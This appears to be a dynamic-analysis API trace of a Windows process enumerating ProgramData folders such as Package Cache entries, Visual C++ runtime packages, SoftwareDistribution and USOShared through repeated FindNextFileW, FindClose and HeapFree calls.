	[0183.818] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.818] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.819] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
	[0183.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.820] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.820] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.820] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.820] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.822] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
	[0183.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.822] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.822] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.823] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.823] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.824] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
	[0183.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.825] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.825] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.825] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.825] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.826] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
	[0183.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.827] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.827] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.827] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.827] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.828] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
	[0183.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.829] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
	[0183.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.830] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.830] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.830] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.830] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.831] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
	[0183.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.832] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.832] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.832] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.832] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.833] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1
	[0183.833] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.834] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
	[0183.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.834] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
	[0183.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.923] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
	[0184.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.404] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0184.405] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.405] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0184.405] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0184.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.405] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
	[0184.405] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0184.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.407] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1
	[0184.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.409] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0184.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.409] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0184.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.409] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0184.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.409] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1
	[0184.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.409] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1
	[0184.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.413] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xab0d1baf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xab0d1baf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0
	[0184.413] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.413] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1
	[0184.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
